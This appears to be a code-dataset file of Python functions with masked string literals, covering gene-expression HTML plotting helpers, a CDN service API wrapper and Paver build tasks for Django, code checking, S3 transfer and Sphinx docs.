{"signature": "def volcano(differential_dfs, title='<STR_LIT>', scripts_mode=\"<STR_LIT>\", data_mode=\"<STR_LIT>\",<EOL>organism=\"<STR_LIT>\", q_value_column_name=\"<STR_LIT:q>\", log2FC_column_name=\"<STR_LIT>\",<EOL>output_dir=\"<STR_LIT:.>\", filename=\"<STR_LIT>\", version=this_version):", "body": "output_dir = Path(output_dir)<EOL>output_dir.mkdir(exist_ok=True, parents=True)<EOL>if isinstance(differential_dfs, pd.DataFrame):<EOL><INDENT>differential_dfs = {'<STR_LIT>': differential_dfs}<EOL><DEDENT>for name, df in differential_dfs.items():<EOL><INDENT>df = df[[q_value_column_name, log2FC_column_name]]<EOL>df.columns = ['<STR_LIT:q>', '<STR_LIT>']<EOL>df = df.round(<NUM_LIT:2>)<EOL>_verify_differential_df(df)<EOL>del differential_dfs[name]<EOL>differential_dfs[_sanitize(name)] = df<EOL><DEDENT>names_and_differentials = f\"<STR_LIT>\"<EOL>data_block = _data_block(data_mode, [('<STR_LIT>', names_and_differentials)], output_dir, include_gene_sets=False, organism=organism)<EOL>scripts = third_party_scripts + [CDN_url(version)+\"<STR_LIT>\", CDN_url(version)+\"<STR_LIT>\", CDN_url(version)+\"<STR_LIT>\"]<EOL>scripts_block = _scripts_block(scripts, scripts_mode, output_dir)<EOL>html = templateEnv.get_template('<STR_LIT>').render(title=title, scripts_block=scripts_block+'<STR_LIT:\\n>'+data_block, organism=\"<STR_LIT>\")<EOL>(output_dir / filename).write_text(html)<EOL>return (output_dir / filename).resolve()<EOL>", "docstring": "Arguments:\n    differential_dfs (dict or pandas.DataFrame): python dict of names to pandas dataframes, or a single dataframe, indexed by gene symbols which must have columns named log2FC and qval.\n    title (str): The title of the plot (to be embedded in the html).\n    scripts_mode (str): Choose from [`\"CDN\"`, `\"directory\"`, `\"inline\"`]:\n\n        - `\"CDN\"` compiles a single HTML page with links to scripts hosted on a CDN,\n\n        - `\"directory\"` compiles a directory with all scripts locally cached,\n\n        - `\"inline\"` compiles a single HTML file with all scripts/styles inlined.\n\n    data_mode (str): Choose from [\"directory\", \"inline\"]:\n\n        - \"directory\" compiles a directory with all data locally cached,\n\n        - \"inline\" compiles a single HTML file with all data inlined.\n\n    organism (str): `\"human\"` or `\"mouse\"`\n    q_value_column_name (str):\n    log2FC_column_name (str):\n    output_dir (str): the directory in which to output the file\n    filename (str): the filename of the output file\n    version (str): the version of the javascripts to use.\n        Leave the default to pin the version, or choose \"latest\" to get updates,\n        or choose part of the version string to get minor updates.\nReturns:\n    Path: The filepath which the html was outputted to.", "id": "f3712:m9"}
{"signature": "def bar(differential_dfs, title='<STR_LIT>', scripts_mode=\"<STR_LIT>\", data_mode=\"<STR_LIT>\",<EOL>organism=\"<STR_LIT>\", q_value_column_name=\"<STR_LIT:q>\", log2FC_column_name=\"<STR_LIT>\",<EOL>output_dir=\"<STR_LIT:.>\", filename=\"<STR_LIT>\", version=this_version):", "body": "output_dir = Path(output_dir)<EOL>output_dir.mkdir(exist_ok=True, parents=True)<EOL>if isinstance(differential_dfs, pd.DataFrame):<EOL><INDENT>differential_dfs = {'<STR_LIT>': differential_dfs}<EOL><DEDENT>for name, df in differential_dfs.items():<EOL><INDENT>df = df[[q_value_column_name, log2FC_column_name]]<EOL>df.columns = ['<STR_LIT:q>', '<STR_LIT>']<EOL>df = df.round(<NUM_LIT:2>)<EOL>_verify_differential_df(df)<EOL>del differential_dfs[name]<EOL>differential_dfs[_sanitize(name)] = df<EOL><DEDENT>names_and_differentials = f\"<STR_LIT>\"<EOL>data_block = _data_block(data_mode, [('<STR_LIT>', names_and_differentials)], output_dir, organism=organism)<EOL>scripts = third_party_scripts + [ CDN_url(version)+\"<STR_LIT>\", CDN_url(version)+\"<STR_LIT>\"]<EOL>scripts_block = _scripts_block(scripts, scripts_mode, output_dir)<EOL>html = templateEnv.get_template('<STR_LIT>').render(title=title, scripts_block=scripts_block+'<STR_LIT:\\n>'+data_block)<EOL>(output_dir / filename).write_text(html)<EOL>return (output_dir / filename).resolve()<EOL>", "docstring": "Arguments:\n    differential_dfs (dict or pandas.DataFrame): python dict of names to pandas dataframes, or a single dataframe, indexed by gene symbols which must have columns named log2FC and qval.\n    title (str): The title of the plot (to be embedded in the html).\n    scripts_mode (str): Choose from [`\"CDN\"`, `\"directory\"`, `\"inline\"`]:\n\n        - `\"CDN\"` compiles a single HTML page with links to scripts hosted on a CDN,\n\n        - `\"directory\"` compiles a directory with all scripts locally cached,\n\n        - `\"inline\"` compiles a single HTML file with all scripts/styles inlined.\n\n    data_mode (str): Choose from [\"directory\", \"inline\"]:\n\n        - \"directory\" compiles a directory with all data locally cached,\n\n        - \"inline\" compiles a single HTML file with all data inlined.\n\n    organism (str): `\"human\"` or `\"mouse\"`\n    q_value_column_name (str):\n    log2FC_column_name (str):\n    output_dir (str): the directory in which to output the file\n    filename (str): the filename of the output file\n    version (str): the version of the javascripts to use.\n        Leave the default to pin the version, or choose \"latest\" to get updates,\n        or choose part of the version string to get minor updates.\nReturns:\n    Path: The filepath which the html was outputted to.", "id": "f3712:m10"}
{"signature": "def braid(genes_by_samples_matrix, sample_attributes, title='<STR_LIT>', scripts_mode=\"<STR_LIT>\", data_mode=\"<STR_LIT>\",<EOL>organism=\"<STR_LIT>\", output_dir=\"<STR_LIT:.>\", filename=\"<STR_LIT>\", version=this_version):", "body": "output_dir = Path(output_dir)<EOL>output_dir.mkdir(exist_ok=True, parents=True)<EOL>_verify_sample_by_genes_matrix(genes_by_samples_matrix)<EOL>_verify_sample_attributes(genes_by_samples_matrix, sample_attributes)<EOL>genes_by_samples_matrix = genes_by_samples_matrix.round(<NUM_LIT:2>)<EOL>matrix = f\"<STR_LIT>\"<EOL>classes = f\"<STR_LIT>\"<EOL>data_block = _data_block(data_mode, [('<STR_LIT>', matrix), ('<STR_LIT>', classes)], output_dir, organism=organism)<EOL>scripts = third_party_scripts + [CDN_url(version)+\"<STR_LIT>\", CDN_url(version)+\"<STR_LIT>\", CDN_url(version)+\"<STR_LIT>\"]<EOL>scripts_block = _scripts_block(scripts, scripts_mode, output_dir)<EOL>html = templateEnv.get_template('<STR_LIT>').render(title=title, scripts_block=scripts_block+'<STR_LIT:\\n>'+data_block)<EOL>(output_dir / filename).write_text(html)<EOL>return (output_dir / filename).resolve()<EOL>", "docstring": "Arguments:\n    genes_by_samples_matrix (pandas.DataFrame): dataframe indexed by genes, columns are samples\n    sample_attributes (pandas.DataFrame): dataframe indexed by samples, columns are sample attributes (e.g. classes)\n    title (str): The title of the plot (to be embedded in the html).\n    scripts_mode (str): Choose from [`\"CDN\"`, `\"directory\"`, `\"inline\"`]:\n\n        - `\"CDN\"` compiles a single HTML page with links to scripts hosted on a CDN,\n\n        - `\"directory\"` compiles a directory with all scripts locally cached,\n\n        - `\"inline\"` compiles a single HTML file with all scripts/styles inlined.\n\n    data_mode (str): Choose from [\"directory\", \"inline\"]:\n\n        - \"directory\" compiles a directory with all data locally cached,\n\n        - \"inline\" compiles a single HTML file with all data inlined.\n\n    organism (str): `\"human\"` or `\"mouse\"`\n    output_dir (str): the directory in which to output the file\n    filename (str): the filename of the output file\n    version (str): the version of the javascripts to use.\n        Leave the default to pin the version, or choose \"latest\" to get updates,\n        or choose part of the version string to get minor updates.\nReturns:\n    Path: The filepath which the html was outputted to.", "id": "f3712:m11"}
{"signature": "def heatmap(genes_by_samples_matrix, sample_attributes, title='<STR_LIT>', scripts_mode=\"<STR_LIT>\", data_mode=\"<STR_LIT>\",<EOL>organism=\"<STR_LIT>\", separate_zscore_by=[\"<STR_LIT>\"],<EOL>output_dir=\"<STR_LIT:.>\", filename=\"<STR_LIT>\", version=this_version):", "body": "output_dir = Path(output_dir)<EOL>output_dir.mkdir(exist_ok=True, parents=True)<EOL>_verify_sample_by_genes_matrix(genes_by_samples_matrix)<EOL>_verify_sample_attributes(genes_by_samples_matrix, sample_attributes)<EOL>genes_by_samples_matrix = genes_by_samples_matrix.round(<NUM_LIT:2>)<EOL>matrix = f\"<STR_LIT>\"<EOL>classes = f\"<STR_LIT>\"<EOL>data_block = _data_block(data_mode, [('<STR_LIT>', matrix), ('<STR_LIT>', classes)], output_dir, organism=organism)<EOL>scripts = third_party_scripts + [CDN_url(version)+\"<STR_LIT>\", CDN_url(version)+\"<STR_LIT>\", CDN_url(version)+\"<STR_LIT>\"]<EOL>scripts_block = _scripts_block(scripts, scripts_mode, output_dir)<EOL>html = templateEnv.get_template('<STR_LIT>').render(title=title, scripts_block=scripts_block+'<STR_LIT:\\n>'+data_block, separate_zscore_by=separate_zscore_by)<EOL>(output_dir / filename).write_text(html)<EOL>return (output_dir / filename).resolve()<EOL>", "docstring": "Arguments:\n    genes_by_samples_matrix (pandas.DataFrame): dataframe indexed by genes, columns are samples\n    sample_attributes (pandas.DataFrame): dataframe indexed by samples, columns are sample attributes (e.g. classes)\n    title (str): The title of the plot (to be embedded in the html).\n    scripts_mode (str): Choose from [`\"CDN\"`, `\"directory\"`, `\"inline\"`]:\n\n        - `\"CDN\"` compiles a single HTML page with links to scripts hosted on a CDN,\n\n        - `\"directory\"` compiles a directory with all scripts locally cached,\n\n        - `\"inline\"` compiles a single HTML file with all scripts/styles inlined.\n\n    data_mode (str): Choose from [\"directory\", \"inline\"]:\n\n        - \"directory\" compiles a directory with all data locally cached,\n\n        - \"inline\" compiles a single HTML file with all data inlined.\n\n    organism (str): `\"human\"` or `\"mouse\"`\n    separate_zscore_by (list):\n    output_dir (str): the directory in which to output the file\n    filename (str): the filename of the output file\n    version (str): the version of the javascripts to use.\n        Leave the default to pin the version, or choose \"latest\" to get updates,\n        or choose part of the version string to get minor updates.\nReturns:\n    Path: The filepath which the html was outputted to.", "id": "f3712:m12"}
{"signature": "def graph(networkx_graph, title='<STR_LIT>', scripts_mode=\"<STR_LIT>\", data_mode=\"<STR_LIT>\",<EOL>output_dir=\"<STR_LIT:.>\", filename=\"<STR_LIT>\", version=this_version):", "body": "output_dir = Path(output_dir)<EOL>output_dir.mkdir(exist_ok=True, parents=True)<EOL>scripts = third_party_scripts + [CDN_url(version)+\"<STR_LIT>\", CDN_url(version)+\"<STR_LIT>\"]<EOL>scripts_block = _scripts_block(scripts, scripts_mode, output_dir)<EOL>graph_json = nx_json.node_link_data(networkx_graph)<EOL>for node in graph_json['<STR_LIT>']:<EOL><INDENT>for attr, val in node.items():<EOL><INDENT>if isinstance(val, numbers.Number):<EOL><INDENT>node[attr] = round(val, <NUM_LIT:2>)<EOL><DEDENT><DEDENT><DEDENT>for link in graph_json['<STR_LIT>']:<EOL><INDENT>for attr, val in link.items():<EOL><INDENT>if isinstance(val, numbers.Number):<EOL><INDENT>link[attr] = round(val, <NUM_LIT:2>)<EOL><DEDENT><DEDENT><DEDENT>graph_json = f\"<STR_LIT>\"<EOL>data_block = _data_block(data_mode, [('<STR_LIT>', graph_json)], output_dir)<EOL>html = templateEnv.get_template('<STR_LIT>').render(title=title, scripts_block=scripts_block+'<STR_LIT:\\n>'+data_block, nodes=networkx_graph.nodes())<EOL>(output_dir / filename).write_text(html)<EOL>return (output_dir / filename).resolve()<EOL>", "docstring": "Arguments:\n    networkx_graph (networkx.Graph): any instance of networkx.Graph\n    title (str): The title of the plot (to be embedded in the html).\n    scripts_mode (str): Choose from [`\"CDN\"`, `\"directory\"`, `\"inline\"`]:\n\n        - `\"CDN\"` compiles a single HTML page with links to scripts hosted on a CDN,\n\n        - `\"directory\"` compiles a directory with all scripts locally cached,\n\n        - `\"inline\"` compiles a single HTML file with all scripts/styles inlined.\n\n    data_mode (str): Choose from [\"directory\", \"inline\"]:\n\n        - \"directory\" compiles a directory with all data locally cached,\n\n        - \"inline\" compiles a single HTML file with all data inlined.\n\n    output_dir (str): the directory in which to output the file\n    filename (str): the filename of the output file\n    version (str): the version of the javascripts to use.\n        Leave the default to pin the version, or choose \"latest\" to get updates,\n        or choose part of the version string to get minor updates.\nReturns:\n    Path: The filepath which the html was outputted to.", "id": "f3712:m13"}
{"signature": "def version(self):", "body": "ver = Version()<EOL>ver.conn = self.conn<EOL>ver.attrs = {<EOL>'<STR_LIT>': self.attrs['<STR_LIT:id>'],<EOL>}<EOL>ver.save()<EOL>return ver<EOL>", "docstring": "Create a new version under this service.", "id": "f3722:c1:m2"}
{"signature": "def vcl(self, name, content):", "body": "vcl = VCL()<EOL>vcl.conn = self.conn<EOL>vcl.attrs = {<EOL>'<STR_LIT>': self.attrs['<STR_LIT>'],<EOL>'<STR_LIT:version>': self.attrs['<STR_LIT>'],<EOL>'<STR_LIT:name>': name,<EOL>'<STR_LIT:content>': content,<EOL>}<EOL>vcl.save()<EOL>return vcl<EOL>", "docstring": "Create a new VCL under this version.", "id": "f3722:c2:m8"}
{"signature": "def _setVirtualEnv():", "body": "try:<EOL><INDENT>activate = options.virtualenv.activate_cmd<EOL><DEDENT>except AttributeError:<EOL><INDENT>activate = None<EOL><DEDENT>if activate is None:<EOL><INDENT>virtualenv = path(os.environ.get('<STR_LIT>', '<STR_LIT>'))<EOL>if not virtualenv:<EOL><INDENT>virtualenv = options.paved.cwd<EOL><DEDENT>else:<EOL><INDENT>virtualenv = path(virtualenv)<EOL><DEDENT>activate = virtualenv / '<STR_LIT>' / '<STR_LIT>'<EOL>if activate.exists():<EOL><INDENT>info('<STR_LIT>' % activate)<EOL>options.setdotted('<STR_LIT>', '<STR_LIT>' % activate)<EOL><DEDENT><DEDENT>", "docstring": "Attempt to set the virtualenv activate command, if it hasn't been specified.", "id": "f3724:m0"}
{"signature": "def rmFilePatterns(*patterns, **kwargs):", "body": "kwargs['<STR_LIT:action>'] = '<STR_LIT>'<EOL>kwargs['<STR_LIT>'] = '<STR_LIT>'<EOL>return _walkWithAction(*patterns, **kwargs)<EOL>", "docstring": "Remove all files under the given path with the given patterns.", "id": "f3724:m2"}
{"signature": "def rmDirPatterns(*patterns, **kwargs):", "body": "kwargs['<STR_LIT:action>'] = '<STR_LIT>'<EOL>kwargs['<STR_LIT>'] = '<STR_LIT>'<EOL>return _walkWithAction(*patterns, **kwargs)<EOL>", "docstring": "Remove all directories under the current path with the given patterns.", "id": "f3724:m3"}
{"signature": "def shv(command, capture=False, ignore_error=False, cwd=None):", "body": "_setVirtualEnv()<EOL>try:<EOL><INDENT>command = \"<STR_LIT>\" % (options.virtualenv.activate_cmd, command)<EOL><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT>return bash(command, capture=capture, ignore_error=ignore_error, cwd=cwd)<EOL>", "docstring": "Run the given command inside the virtual environment, if available:", "id": "f3724:m5"}
{"signature": "def update(dst, src):", "body": "stack = [(dst, src)]<EOL>def isdict(o):<EOL><INDENT>return hasattr(o, '<STR_LIT>')<EOL><DEDENT>while stack:<EOL><INDENT>current_dst, current_src = stack.pop()<EOL>for key in current_src:<EOL><INDENT>if key not in current_dst:<EOL><INDENT>current_dst[key] = current_src[key]<EOL><DEDENT>else:<EOL><INDENT>if isdict(current_src[key]) and isdict(current_dst[key]):<EOL><INDENT>stack.append((current_dst[key], current_src[key]))<EOL><DEDENT>else:<EOL><INDENT>current_dst[key] = current_src[key]<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return dst<EOL>", "docstring": "Recursively update the destination dict-like object with the source dict-like object.\n\n    Useful for merging options and Bunches together!\n\n    Based on:\n    http://code.activestate.com/recipes/499335-recursively-update-a-dictionary-without-hitting-py/#c1", "id": "f3724:m6"}
{"signature": "def pip_install(*args):", "body": "download_cache = ('<STR_LIT>' % options.paved.pip.download_cache) if options.paved.pip.download_cache else '<STR_LIT>'<EOL>shv('<STR_LIT>' % (download_cache, '<STR_LIT:U+0020>'.join(args)))<EOL>", "docstring": "Send the given arguments to `pip install`.", "id": "f3724:m7"}
{"signature": "def easy_install(*args):", "body": "shv('<STR_LIT>' % ('<STR_LIT:U+0020>'.join(args)))<EOL>", "docstring": "Send the given arguments to `easy_install`.", "id": "f3724:m8"}
{"signature": "@task<EOL>@consume_args<EOL>def manage(args):", "body": "<EOL>args = '<STR_LIT:U+0020>'.join(args) if args else \"<STR_LIT>\"<EOL>call_manage(args)<EOL>", "docstring": "Run the provided commands against Django's manage.py\n\n    `options.paved.django.settings`: the dotted path to the django\n        project module containing settings.\n\n    `options.paved.django.manage_py`: the path where the django\n        project's `manage.py` resides.", "id": "f3725:m0"}
{"signature": "def call_manage(cmd, capture=False, ignore_error=False):", "body": "settings = (options.paved.django.settings or<EOL>os.environ.get('<STR_LIT>'))<EOL>if settings is None:<EOL><INDENT>raise BuildFailure(\"<STR_LIT>\")<EOL><DEDENT>manage_py = options.paved.django.manage_py<EOL>if manage_py is None:<EOL><INDENT>manage_py = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>manage_py = path(manage_py)<EOL>manage_py = '<STR_LIT>'.format(**locals())<EOL><DEDENT>return util.shv('<STR_LIT>'.format(**locals()), capture=capture, ignore_error=ignore_error)<EOL>", "docstring": "Utility function to run commands against Django's `django-admin.py`/`manage.py`.\n\n    `options.paved.django.project`: the path to the django project\n        files (where `settings.py` typically resides).\n        Will fall back to a DJANGO_SETTINGS_MODULE environment variable.\n\n    `options.paved.django.manage_py`: the path where the django\n        project's `manage.py` resides.", "id": "f3725:m1"}
{"signature": "@task<EOL>@consume_args<EOL>def syncdb(args):", "body": "cmd = args and '<STR_LIT>' % '<STR_LIT:U+0020>'.join(options.args) or '<STR_LIT>'<EOL>call_manage(cmd)<EOL>for fixture in options.paved.django.syncdb.fixtures:<EOL><INDENT>call_manage(\"<STR_LIT>\" % fixture)<EOL><DEDENT>", "docstring": "Update the database with model schema. Shorthand for `paver manage syncdb`.", "id": "f3725:m3"}
{"signature": "@task<EOL>def shell(info):", "body": "cmd = '<STR_LIT>'<EOL>try:<EOL><INDENT>import django_extensions<EOL>cmd = '<STR_LIT>'<EOL><DEDENT>except ImportError:<EOL><INDENT>info(\"<STR_LIT>\")<EOL><DEDENT>call_manage(cmd)<EOL>", "docstring": "Run the ipython shell. Shorthand for `paver manage shell`.\n\n    Uses `django_extensions <http://pypi.python.org/pypi/django-extensions/0.5>`, if\n    available, to provide `shell_plus`.", "id": "f3725:m4"}
{"signature": "@task<EOL>def start(info):", "body": "cmd = options.paved.django.runserver<EOL>if cmd == '<STR_LIT>':<EOL><INDENT>try:<EOL><INDENT>import django_extensions<EOL><DEDENT>except ImportError:<EOL><INDENT>info(\"<STR_LIT>\")<EOL>cmd = '<STR_LIT>'<EOL><DEDENT><DEDENT>port = options.paved.django.runserver_port<EOL>if port:<EOL><INDENT>cmd = '<STR_LIT>' % (cmd, port)<EOL><DEDENT>call_manage(cmd)<EOL>", "docstring": "Run the dev server.\n\n    Uses `django_extensions <http://pypi.python.org/pypi/django-extensions/0.5>`, if\n    available, to provide `runserver_plus`.\n\n    Set the command to use with `options.paved.django.runserver`\n    Set the port to use with `options.paved.django.runserver_port`", "id": "f3725:m5"}
{"signature": "@task<EOL>@consume_args<EOL>def schema(args):", "body": "try:<EOL><INDENT>import south<EOL>cmd = args and '<STR_LIT>' % '<STR_LIT:U+0020>'.join(options.args) or '<STR_LIT>'<EOL>call_manage(cmd)<EOL><DEDENT>except ImportError:<EOL><INDENT>error('<STR_LIT>')<EOL><DEDENT>", "docstring": "Run South's schemamigration command.", "id": "f3725:m6"}
{"signature": "@task<EOL>@consume_args<EOL>def migrate(args):", "body": "try:<EOL><INDENT>import south<EOL>cmd = args and '<STR_LIT>' % '<STR_LIT:U+0020>'.join(options.args) or '<STR_LIT>'<EOL>call_manage(cmd)<EOL><DEDENT>except ImportError:<EOL><INDENT>error('<STR_LIT>')<EOL><DEDENT>", "docstring": "Run South's migrate command.", "id": "f3725:m7"}
{"signature": "@task<EOL>def sloccount():", "body": "<EOL>setup = options.get('<STR_LIT>')<EOL>packages = options.get('<STR_LIT>') if setup else None<EOL>if packages:<EOL><INDENT>dirs = [x for x in packages if '<STR_LIT:.>' not in x]<EOL><DEDENT>else:<EOL><INDENT>dirs = ['<STR_LIT:.>']<EOL><DEDENT>ls=[]<EOL>for d in dirs:<EOL><INDENT>ls += list(path(d).walkfiles())<EOL><DEDENT>files='<STR_LIT:U+0020>'.join(ls)<EOL>param=options.paved.pycheck.sloccount.param<EOL>sh('<STR_LIT>'.format(param=param, files=files))<EOL>", "docstring": "Print \"Source Lines of Code\" and export to file.\n\n    Export is hudson_ plugin_ compatible: sloccount.sc\n\n    requirements:\n     - sloccount_ should be installed.\n     - tee and pipes are used\n\n    options.paved.pycheck.sloccount.param\n\n    .. _sloccount: http://www.dwheeler.com/sloccount/\n    .. _hudson: http://hudson-ci.org/\n    .. _plugin: http://wiki.hudson-ci.org/display/HUDSON/SLOCCount+Plugin", "id": "f3726:m0"}
{"signature": "@task<EOL>def findimports():", "body": "<EOL>packages = [x for x in options.setup.packages if '<STR_LIT:.>' not in x]<EOL>sh('<STR_LIT>'.format(param=options.paved.pycheck.findimports.param, files='<STR_LIT:U+0020>'.join(packages)))<EOL>", "docstring": "print python module dependencies by findimports.\n\n    requirements:\n     - findimports_ should be installed. ``easy_install findimports``\n\n    options.paved.pycheck.findimports.param\n\n    .. _findimports: http://pypi.python.org/pypi/findimports", "id": "f3726:m1"}
{"signature": "@task<EOL>def pyflakes():", "body": "<EOL>packages = [x for x in options.setup.packages if '<STR_LIT:.>' not in x]<EOL>sh('<STR_LIT>'.format(param=options.paved.pycheck.pyflakes.param, files='<STR_LIT:U+0020>'.join(packages)))<EOL>", "docstring": "passive check of python programs by pyflakes.\n\n    requirements:\n     - pyflakes_ should be installed. ``easy_install pyflakes``\n\n    options.paved.pycheck.pyflakes.param\n\n    .. _pyflakes: http://pypi.python.org/pypi/pyflakes", "id": "f3726:m2"}
{"signature": "@task<EOL>def pychecker():", "body": "<EOL>packages = [x for x in options.setup.packages if '<STR_LIT:.>' not in x]<EOL>sh('<STR_LIT>'.format(param=options.paved.pycheck.pychecker.param, files='<STR_LIT:U+0020>'.join(packages)))<EOL>", "docstring": "check of python programs by pychecker.\n\n    requirements:\n     - pychecker_ should be installed.\n\n    options.paved.pycheck.pychecker.param\n\n    .. _pychecker: http://pychecker.sourceforge.net/", "id": "f3726:m3"}
{"signature": "@task<EOL>def nose():", "body": "sh('<STR_LIT>'.format(param=options.paved.pycheck.nose.param))<EOL>", "docstring": "Run unit tests using nosetests.\n\n    requirements:\n     - nose_ should be installed.\n\n    options.paved.pycheck.nose.param\n\n    .. _nose: http://somethingaboutorange.com/mrl/projects/nose/1.0.0/", "id": "f3726:m4"}
{"signature": "@task<EOL>@needs('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>def pycheckall():", "body": "", "docstring": "All pycheck tasks.", "id": "f3726:m5"}
{"signature": "@task<EOL>@needs('<STR_LIT>')<EOL>def clean(options, info):", "body": "info(\"<STR_LIT>\", options.paved.clean.patterns)<EOL>for wd in options.paved.clean.dirs:<EOL><INDENT>info(\"<STR_LIT>\", wd)<EOL>for p in options.paved.clean.patterns:<EOL><INDENT>for f in wd.walkfiles(p):<EOL><INDENT>f.remove()<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Clean up extra files littering the source tree.\n\n    options.paved.clean.dirs: directories to search recursively\n    options.paved.clean.patterns: patterns to search for and remove", "id": "f3727:m0"}
{"signature": "@task<EOL>def printoptions():", "body": "x = json.dumps(environment.options,<EOL>indent=<NUM_LIT:4>,<EOL>sort_keys=True,<EOL>skipkeys=True,<EOL>cls=MyEncoder)<EOL>print(x)<EOL>", "docstring": "print paver options.\n\n    Prettified by json.\n    `long_description` is removed", "id": "f3727:m1"}
{"signature": "def open_s3(bucket):", "body": "conn = boto.connect_s3(options.paved.s3.access_id, options.paved.s3.secret)<EOL>try:<EOL><INDENT>bucket = conn.get_bucket(bucket)<EOL><DEDENT>except boto.exception.S3ResponseError:<EOL><INDENT>bucket = conn.create_bucket(bucket)<EOL><DEDENT>return bucket<EOL>", "docstring": "Opens connection to S3 returning bucket and key", "id": "f3729:m0"}
{"signature": "def upload_s3(file_path, bucket_name, file_key, force=False, acl='<STR_LIT>'):", "body": "file_path = path(file_path)<EOL>bucket = open_s3(bucket_name)<EOL>if file_path.isdir():<EOL><INDENT>paths = file_path.listdir()<EOL>paths_keys = list(zip(paths, ['<STR_LIT>' % (file_key, p.name) for p in paths]))<EOL><DEDENT>else:<EOL><INDENT>paths_keys = [(file_path, file_key)]<EOL><DEDENT>for p, k in paths_keys:<EOL><INDENT>headers = {}<EOL>s3_key = bucket.get_key(k)<EOL>if not s3_key:<EOL><INDENT>from boto.s3.key import Key<EOL>s3_key = Key(bucket, k)<EOL><DEDENT>content_type = mimetypes.guess_type(p)[<NUM_LIT:0>]<EOL>if content_type:<EOL><INDENT>headers['<STR_LIT:Content-Type>'] = content_type<EOL><DEDENT>file_size = p.stat().st_size<EOL>file_data = p.bytes()<EOL>file_md5, file_md5_64 = s3_key.get_md5_from_hexdigest(hashlib.md5(file_data).hexdigest())<EOL>if s3_key.etag:<EOL><INDENT>s3_md5 = s3_key.etag.replace('<STR_LIT:\">', '<STR_LIT>')<EOL>if s3_md5 == file_md5:<EOL><INDENT>info('<STR_LIT>' % file_path)<EOL>continue<EOL><DEDENT>elif not force:<EOL><INDENT>s3_datetime = datetime.datetime(*time.strptime(<EOL>s3_key.last_modified, '<STR_LIT>')[<NUM_LIT:0>:<NUM_LIT:6>])<EOL>local_datetime = datetime.datetime.utcfromtimestamp(p.stat().st_mtime)<EOL>if local_datetime < s3_datetime:<EOL><INDENT>info(\"<STR_LIT>\"\"<STR_LIT>\" % (file_key))<EOL>continue<EOL><DEDENT><DEDENT><DEDENT>info(\"<STR_LIT>\" % (file_key))<EOL>try:<EOL><INDENT>s3_key.set_contents_from_string(file_data, headers, policy=acl, replace=True, md5=(file_md5, file_md5_64))<EOL><DEDENT>except Exception as e:<EOL><INDENT>error(\"<STR_LIT>\" % e)<EOL>raise<EOL><DEDENT><DEDENT>", "docstring": "Upload a local file to S3.", "id": "f3729:m1"}
{"signature": "def download_s3(bucket_name, file_key, file_path, force=False):", "body": "file_path = path(file_path)<EOL>bucket = open_s3(bucket_name)<EOL>file_dir = file_path.dirname()<EOL>file_dir.makedirs()<EOL>s3_key = bucket.get_key(file_key)<EOL>if file_path.exists():<EOL><INDENT>file_data = file_path.bytes()<EOL>file_md5, file_md5_64 = s3_key.get_md5_from_hexdigest(hashlib.md5(file_data).hexdigest())<EOL>try:<EOL><INDENT>s3_md5 = s3_key.etag.replace('<STR_LIT:\">', '<STR_LIT>')<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>if s3_md5 == file_md5:<EOL><INDENT>info('<STR_LIT>' % file_path)<EOL>return<EOL><DEDENT>elif not force:<EOL><INDENT>s3_datetime = datetime.datetime(*time.strptime(<EOL>s3_key.last_modified, '<STR_LIT>')[<NUM_LIT:0>:<NUM_LIT:6>])<EOL>local_datetime = datetime.datetime.utcfromtimestamp(file_path.stat().st_mtime)<EOL>if s3_datetime < local_datetime:<EOL><INDENT>info(\"<STR_LIT>\" % (file_key))<EOL>return<EOL><DEDENT><DEDENT><DEDENT><DEDENT>info(\"<STR_LIT>\" % (file_key))<EOL>try:<EOL><INDENT>with open(file_path, '<STR_LIT:w>') as fo:<EOL><INDENT>s3_key.get_contents_to_file(fo)<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>error(\"<STR_LIT>\" % e)<EOL>raise<EOL><DEDENT>", "docstring": "Download a remote file from S3.", "id": "f3729:m2"}
{"signature": "def sphinx_make(*targets):", "body": "sh('<STR_LIT>' % '<STR_LIT:U+0020>'.join(targets), cwd=options.paved.docs.path)<EOL>", "docstring": "Call the Sphinx Makefile with the specified targets.\n\n    `options.paved.docs.path`: the path to the Sphinx folder (where the Makefile resides).", "id": "f3730:m0"}
{"signature": "@task<EOL>def docs():", "body": "sphinx_make(*options.paved.docs.targets)<EOL>", "docstring": "Make Sphinx docs.\n\n    `options.paved.docs.path`: the path to the Sphinx folder (where the Makefile resides).\n\n    `options.paved.docs.targets`: the Make targets to send to `sphinx_make`. Default is `html`.", "id": "f3730:m1"}
{"signature": "@task<EOL>def clean_docs():", "body": "sphinx_make('<STR_LIT>')<EOL>", "docstring": "Clean Sphinx docs.\n\n    `options.paved.docs.path`: the path to the Sphinx folder (where the Makefile resides).", "id": "f3730:m2"}
{"signature": "@task<EOL>@needs('<STR_LIT>')<EOL>def rsync_docs():", "body": "assert options.paved.docs.rsync_location, \"<STR_LIT>\"<EOL>sh('<STR_LIT>' % (path(options.paved.docs.path) / options.paved.docs.build_rel,<EOL>options.paved.docs.rsync_location))<EOL>", "docstring": "Upload the docs to a remote location via rsync.\n\n    `options.paved.docs.rsync_location`: the target location to rsync files to.\n\n    `options.paved.docs.path`: the path to the Sphinx folder (where the Makefile resides).\n\n    `options.paved.docs.build_rel`: the path of the documentation\n        build folder, relative to `options.paved.docs.path`.", "id": "f3730:m3"}
